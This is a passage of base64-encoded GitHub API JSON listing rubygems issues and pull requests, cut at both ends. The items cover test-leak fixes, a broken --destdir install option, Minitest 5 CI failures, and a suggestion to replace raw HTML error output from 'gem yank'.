MHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjIsImNyZWF0ZWRfYXQiOiIyMDE4LTAxLTAzVDAwOjE3OjA1WiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDAyOjQ1OjIzWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMTM5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMTM5IiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMTM5LmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8yMTM5LnBhdGNoIn0sImJvZHkiOiIjIERlc2NyaXB0aW9uOlxyXG5JIHJlY2VudGx5IGNsb3NlZCBbUFIgMjEzNV0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjEzNSkgZm9yIHRlc3QgdXBkYXRlcywgc2luY2UgSSBrbmV3IEkgd2FzIG1pc3Npbmcgc29tZXRoaW5nLlxyXG5cclxuSSB3YXMgaW5jb3JyZWN0bHkgYXNzdW1pbmcgdGhhdCBkZWZhdWx0IHNwZWMgZmlsZXMgd2VyZSBiZWluZyBsb2FkZWQgaW50byBgRmlsZS5qb2luKEBnZW1ob21lLCBcInNwZWNpZmljYXRpb25zXCIsIFwiZGVmYXVsdFwiKWAsIGJ1dCB0aGV5IGFyZSBsb2FkZWQgaW50byBhbm90aGVyIGRpcmVjdG9yeS4gIFNvLCBhZnRlciByZWFsaXppbmcgdGhhdCwgSSBwcm9jZWVkZWQgd2l0aCBjaGFuZ2VzICYgdGVzdGluZy5cclxuXHJcbkkndmUgdGVzdGVkIGl0IHF1aXRlIGEgZmV3IHRpbWVzLCBmb3VuZCBvbmUgYWRkaXRpb25hbCBpc3N1ZSwgYWxvbmcgd2l0aCB0aGUgdXBkYXRlIHRvIE1pbml0ZXN0IDUuMTEgKG5vdyBmaXhlZCB3aXRoIDUuMTEuMSkuXHJcblxyXG5UaGlzIFBSIGRvZXMgdGhlIGZvbGxvd2luZzpcclxuXHJcbjEuIFNlZW1zIHRvIHJlbW92ZS9maXggYWxsIGludGVybWl0dGVudCBmYWlsdXJlcy4gIEkgYXNzdW1lIG1vc3QgYXJlIGR1ZSB0byB0ZXN0IGxlYWtzLCBidXQgSSBkaWRuJ3Qgc2V0IGEgZ29hbCBvZiBtYWtpbmcgc3VyZSBJIGZvdW5kIHRoZSBzb3VyY2Ugb2YgKiphbGwgbGVha3MqKi4gICAgSU9XLCBzaG91bGQgdGVzdCBsZWFrcyBiZSBmaXhlZCBpbiB0aGUgc291cmNlIG9yIHRoZSB0ZXN0cyBhZmZlY3RlZCBieSB0aGVtPyAgU29tZSBtaWdodCBzYXkgb25seSB0aGUgc291cmNlLCBvdGhlciBtb3JlIHByYWdtYXRpYyB0eXBlcyBtaWdodCBzYXkgYm90aC4gIFJlZ2FyZGxlc3MsIEkgYmVsaWV2ZSBJJ3ZlIHJ1biB0aGUgdGVzdHMgb2Z0ZW4gZW5vdWdoIHRvIGtub3cgdGhhdCBhIGNvbWJpbmF0aW9uIG9mIGNsZWFuaW5nIGxlYWtpbmcgdGVzdHMgYW5kIGNsZWFuaW5nIGFmZmVjdGVkIHRlc3RzIGhhcyBiZWVuIGRvbmUuXHJcblxyXG4yLiBSZW1vdmVzIGhvZSBmcm9tIFRyYXZpcyBSRyB0ZXN0aW5nLCBtYXRjaGluZyBBcHB2ZXlvciBhbmQgcnVieS9ydWJ5LlxyXG5cclxuMy4gdGVzdF9jYXNlLnJiIC0gQWRkcyBhIG1ldGhvZCBgdXRpbF9jbGVhcl9nZW1zcGVjc2AsIHdoaWNoIGNsZWFycyBzdGFuZGFyZCBhbmQgZGVmYXVsdCBnZW1zcGVjIGZpbGVzLiAgQWxzbywgYWRkZWQgY2xlYXJpbmcgb2YgZGVmYXVsdCBnZW1zcGVjIGZpbGVzIHRvIGB1dGlsX2NsZWFyX2dlbXNgLlxyXG5cclxuNC4gYEJpbmRpbmcuc291cmNlX2xvY2F0aW9uYCB3YXJuaW5ncyBpbiBoZWFkL3RydW5rIGFyZSBmaXhlZCBieSBbYnVuZGxlciBQUiAjNjIzN10oaHR0cHM6Ly9naXRodWIuY29tL2J1bmRsZXIvYnVuZGxlci9wdWxsLzYyMzcpLiAgT24gbXkgZm9yaywgSSBhZGRlZCBhIHBhdGNoIGZvciB0aGlzIHRvIG15IEFwcHZleW9yIHRlc3RpbmcsIGFuZCBhbGwgd2FybmluZ3MgZGlzYXBwZWFyZWQuXHJcblxyXG41LiBGb3IgZXhhbXBsZSByZXN1bHRzLCBzZWUgbXkgZm9yaydzIFtUcmF2aXMgYnVpbGRzXShodHRwczovL3RyYXZpcy1jaS5vcmcvTVNQLUdyZWcvcnVieWdlbXMvYnVpbGRzKSwgbm90ZSB0aGF0IEkgYnlwYXNzZWQgdGhlIGJ1bmRsZXIgdGVzdGluZy5cclxuXHJcbl9fX19fX19fX19fX19fXHJcblxyXG4jIFRhc2tzOlxyXG5cclxuLSBbWF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXHJcbi0gWyBdIFdyaXRlIHRlc3RzXHJcbi0gW1hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cclxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xyXG5cclxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMzQiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEzNC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEzNC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTM0L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTM0IiwiaWQiOjI4NDc5ODY1MiwibnVtYmVyIjoyMTM0LCJ0aXRsZSI6Ii0tZGVzdGRpciBhcHBlYXJzIHRvIGJlIGJyb2tlbiBmb3IgaW5zdGFsbGluZyBydWJ5Z2VtcyAyLjcueCIsInVzZXIiOnsibG9naW4iOiJSb2d1ZWxhemVyIiwiaWQiOjI2MzQyNCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjYzNDI0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Sb2d1ZWxhemVyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vUm9ndWVsYXplciIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1JvZ3VlbGF6ZXIvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvUm9ndWVsYXplci9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Sb2d1ZWxhemVyL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Sb2d1ZWxhemVyL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvUm9ndWVsYXplci9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1JvZ3VlbGF6ZXIvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvUm9ndWVsYXplci9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1JvZ3VlbGF6ZXIvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1JvZ3VlbGF6ZXIvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIzMCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBidWclMjByZXBvcnQiLCJuYW1lIjoidHlwZTogYnVnIHJlcG9ydCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjIsImNyZWF0ZWRfYXQiOiIyMDE3LTEyLTI3VDIxOjI1OjE3WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTMwVDExOjM0OjI2WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJJJ20gaGF2aW5nIGEgcHJvYmxlbS5cclxuXHJcbkF0dGVtcHRpbmcgdG8gcGFja2FnZSBydWJ5Z2VtcyAyLjcgdXNpbmcgdGhlIC0tZGVzdGRpciBmZWF0dXJlIGZhaWxzOyB0aGUgZW1iZWRkZWQgYnVuZGxlIGluc3RhbGxhdGlvbiBhdHRlbXB0cyB0byB3cml0ZSB0byB0aGUgYWN0dWFsIHByZWZpeCAoYC9vcHQvcnVieTIuM2AgaW4gbXkgY2FzZSkgaW5zdGVhZCBvZiBgJERFU1RESVIve3ByZWZpeH1gLiBUaGlzIGJlaGF2aW9yIGFwcGVhcnMgd2l0aCBlaXRoZXIgYC0tZGVzdGRpcmAgb3Igc2V0dGluZyB0aGUgZW52aXJvbm1lbnQgdmFyaWFibGUgYERFU1RESVJgIGJlZm9yZSBydW5uaW5nIGBydWJ5IHNldHVwLnJiYC5cclxuXHJcblRoaXMgZnVuY3Rpb25hbGl0eSB3b3JrcyBjb3JyZWN0bHkgb24gMi42LjE0IGJ1dCBub3Qgb24gYW55IDIuNy54IHZlcnNpb25zLlxyXG5cclxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxyXG5cclxuICAtIE90aGVyXHJcblxyXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XHJcblxyXG5gYGBcclxuJCBnZW0gZW52IHZlcnNpb25cclxuUEFTVEUgSEVSRVxyXG5gYGBcclxuXHJcbm5vdCBhcHBsaWNhYmxlOyB0aGUgUnVieSB3aGljaCBJIGFtIGF0dGVtcHRpbmcgdG8gcGFja2FnZSBpcyAyLjMuNiB3aXRoIFJ1YnlnZW1zIDIuNy40IChsYXRlc3QpLlxyXG5cclxuVGhlIHRhaWwgb2YgcnVubmluZyBgc2V0dXAucmJgIGR1cmluZyBteSBycG1idWlsZCBjYW4gYmUgZm91bmQgYXQgaHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vUm9ndWVsYXplci8wYmU4YTQyMjljYjE0ZmQzMTAwNmE3Mzk5ODI5NmNmMi5cclxuXHJcbk9idmlvdXNseSBJIGRvbid0IGV4cGVjdCB5J2FsbCB0byBkbyBhbnl0aGluZyBhYm91dCBteSBSUE0gaW4gcGFydGljdWxhciwgYnV0IHlvdSBjYW4gcmVwcm9kdWNlIHRoaXMgYnkgYXR0ZW1wdGluZyB0byBydW4gYHJ1Ynkgc2V0dXAucmIgLS1kZXN0ZGlyICRIT01FL3NvbWUvZGlyZWN0b3J5YCBhbmQgb2JzZXJ2aW5nIHRoYXQgaXQgZmFpbHMgd2hlbiBpdCBjYW4ndCB3cml0ZSB0byB5b3VyIGFjdHVhbCBydWJ5IHByZWZpeC5cclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEzMyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTMzL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTMzL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMzMvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMzMiLCJpZCI6Mjg0NjI0MTc3LCJudW1iZXIiOjIxMzMsInRpdGxlIjoiUmFuZG9tbHkgZmFpbGluZyBUcmF2aXMgam9icyBhZnRlciBtaW5pdGVzdDUiLCJ1c2VyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MiwiY3JlYXRlZF9hdCI6IjIwMTctMTItMjZUMjM6NTk6MzVaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMjdUMDA6NTY6NTBaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJPV05FUiIsImJvZHkiOiJXZSBnb3QgZm9sbG93aW5nIGZhaWx1cmUgd2l0aCBtaW5pdGVzdDUuIFxyXG5cclxuYGBgXHJcbiAgMSkgRmFpbHVyZTpcclxuVGVzdEdlbUxvY2FsUmVtb3RlT3B0aW9ucyN0ZXN0X2NsZWFyX3NvdXJjZXNfb3B0aW9uX2lkaW90X3Byb29mIFsvaG9tZS90cmF2aXMvYnVpbGQvcnVieWdlbXMvcnVieWdlbXMvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9sb2NhbF9yZW1vdGVfb3B0aW9ucy5yYjo0OF06XHJcbi0tLSBleHBlY3RlZFxyXG4rKysgYWN0dWFsXHJcbkBAIC0xICsxLDMgQEBcclxuLVtcImh0dHBzOi8vcnVieWdlbXMub3JnL1wiXVxyXG4rIzxHZW06OlNvdXJjZUxpc3Q6MHhYWFhYWFhcclxuKyBAc291cmNlcz1cclxuKyAgW1tSZW1vdGU6IGh0dHA6Ly90ZXN0LmV4YW1wbGUuY29tLyBBUEkgVVJJOiBodHRwOi8vdGVzdC5leGFtcGxlLmNvbS9dXT5cclxuYGBgIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTI5IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMjkvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMjkvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEyOS9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjEyOSIsImlkIjoyODQ0MzU3MDYsIm51bWJlciI6MjEyOSwidGl0bGUiOiJnZW0geWFuayAtIHN1Z2dlc3Rpb24gdG8gZXhjaGFuZ2UgdGhlIEhUTUwgb3V0cHV0IG9uIHRoZSBjb21tYW5kbGluZSB3aXRoIHNvbWUgbW9yZSBzdWNjaW5jdCBlcnJvci93YXJuaW5nIG1lc3NhZ2UgdG8gdGhlIHVzZXIiLCJ1c2VyIjp7ImxvZ2luIjoic2hldmVnZW4iLCJpZCI6MTM3MjMsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNzIzP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NoZXZlZ2VuIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MSwiY3JlYXRlZF9hdCI6IjIwMTctMTItMjVUMTA6NDY6MThaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMjZUMDM6NTE6MDZaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkhlbGxvIHJ1YnlnZW1zIC8gZ2VtIG1haW50YWluZXJzLFxyXG5cclxuVGhpcyBpcyBhIHN1Z2dlc3Rpb24gdGhhdCBhcm9zZSBvdXQgb2YgYSBmZXcgbm90aWNlZCBoaWNjdXBzIHdoZW5cclxudHJ5aW5nIHRvIHlhbmsgYXdheSBvbGQgZ2Vtcy4gVGhpcywgSSBiZWxpZXZlLCBtYXkgYWxzbyBzb21laG93XHJcbnJlbGF0ZSB0byBhIGZldyB1bmljb3JuLXJlbGF0ZWQgcHJvYmxlbXMgb24gcnVieWdlbXMub3JnLCBidXRcclxuSSBjYW4gbm90IGJlIHN1cmUgaGVyZSAoaXQncyBkaWZmaWN1bHQgdG8gc2F5OyBvdGhlciBwZW9wbGUgbWF5IGFsc29cclxucmVwb3J0IHVuaWNvcm4tcmVsYXRlZCBwcm9ibGVtcyBidXQgdGhlc2UgbWF5IGJlIHVucmVsYXRlZCB3aXRoXHJcbndoYXQgSSBub3RpY2VkLCBmb3IgZXhhbXBsZSkuXHJcblxyXG5FaXRoZXIgd2F5LCB0aGlzIGlzc3VlIHJlcG9ydCBpcyBqdXN0IGFib3V0IG9uZSB0aGluZy5cclxuXHJcbi0gSXQgaXMgcG9zc2libGUgdG8geWFuayBhd2F5IGdlbXMgZnJvbSB0aGUgY29tbWFuZGxpbmUsIGFuZFxyXG50aGlzIHdvcmtzIHZlcnkgd2VsbC5cclxuXHJcbkhvd2V2ZXIgaGFkLCBpbiBwYXJ0aWN1bGFyIHdoZW4gSSBkbyAqKmJhdGNoLXlhbmtzKiosIHRoYXQgaXMsIHNldmVyYWxcclxueWFua2luZyBvcGVyYXRpb25zIG9mIGdlbXMgb24gdGhlIGNvbW1hbmRsaW5lIChsaWtlIDIwIHlhbmtzOyBJIFxyXG5jb3B5L3Bhc3RlIHRoZXNlIGluZGl2aWR1YWwgY29tbWFuZHMgaW50byBhIHRhYiBvZiBLREUgS29uc29sZSksXHJcbkkgZ2V0IHN0cmFuZ2UgcmVzdWx0cyBhZnRlciB0aGUgZmlyc3Qgc29tZSBnZW1zLiBTbyB0aGUgZmlyc3Qgc29tZSBnZW1zXHJcbndvcmsgZmluZSwgdGhlbiBpdCBpcyBtb3JlIGxpa2VseSB0aGF0IGhpY2N1cHMgaGFwcGVuLlxyXG5cclxuRm9yIGV4YW1wbGUsIGEgY29tbWFuZCBsaWtlIHRoaXM6XHJcblxyXG4gICAgZ2VteWFuayBjb29rYm9va3MgLS12ZXJzaW9uIDAuMC4xMDg2ICAgIyBOb3ZlbWJlciAyNiwgMjAxNyAoODM0IEtCKSBcclxuXHJcbihnZW15YW5rIGlzIG15IGFsaWFzIGZvciB0aGUgZ2VtIHlhbmsgY29tbWFuZClcclxuXHJcblRoZW4gSSBnZXQ6XHJcblxyXG5ZYW5raW5nIGdlbSBmcm9tIGh0dHBzOi8vcnVieWdlbXMub3JnLi4uXHJcblxyXG48IURPQ1RZUEUgaHRtbD5cclxuPGh0bWwgbGFuZz1cImVuXCI+XHJcbiAgPGhlYWQ+XHJcbiAgICA8bWV0YSBodHRwLWVxdWl2PVwiQ29udGVudC1UeXBlXCIgY29udGVudD1cInRleHQvaHRtbDsgY2hhcnNldD11dGYtOFwiPlxyXG4gICAgPGxpbmsgcmVsPVwic2hvcnRjdXQgaWNvblwiIGhyZWY9XCIvZmF2aWNvbi5pY29cIiB0eXBlPVwiaW1hZ2UveC1pY29uXCI+XHJcbiAgICA8IS0tW2lmIElFIDddPlxyXG4gICAgICA8bGluayBocmVmPVwiL3N0eWxlc2hlZXRzL2llNy5jc3NcIiBtZWRpYT1cInNjcmVlblwiIHJlbD1cInN0eWxlc2hlZXRcIiB0eXBlPVwidGV4dC9jc3NcIiAvPlxyXG4gICAgPCFbZW5kaWZdLS0+XHJcbiAgICA8dGl0bGU+VW5pY29ybiEgfCBSdWJ5R2Vtcy5vcmc8L3RpdGxlPlxyXG4gIDwvaGVhZD5cclxuICA8Ym9keSBzdHlsZT1cImZvbnQtZmFtaWx5OiAnSGVsdmV0aWNhIE5ldWUnLCBIZWx2ZXRpY2EsIEFyaWFsLCBzYW5zLXNlcmlmXCI+XHJcbiAgICA8ZGl2IHN0eWxlPVwibWFyZ2luLXJpZ2h0OiBhdXRvOyBtYXJnaW4tbGVmdDogYXV0bzsgd2lkdGg6IDkwJTsgbWF4LXdpZHRoOiA5NDBweDtcIj5cclxuICAgICAgPGRpdiBzdHlsZT1cInBhZGRpbmctdG9wOiA2MHB4OyBwb3NpdGlvbjogcmVsYXRpdmU7XCI+XHJcbiAgICAgICAgPG9iamVjdCBoZWlnaHQ9XCI1MzBcIiB0eXBlPVwiaW1hZ2Uvc3ZnK3htbFwiIGFsdD1cIjUwMyBlcnJvclwiIHN0eWxlPVwid2lkdGg6IDEwMCU7XCIgZGF0YT1cIi9pbWFnZXMvc2VhX2xldmVsLnN2Z1wiPjwvb2JqZWN0PlxyXG4gICAgICA8L2Rpdj5cclxuICAgICAgPGRpdiBzdHlsZT1cIm1hcmdpbi1yaWdodDogYXV0bzsgbWFyZ2luLWJvdHRvbTogMTIwcHg7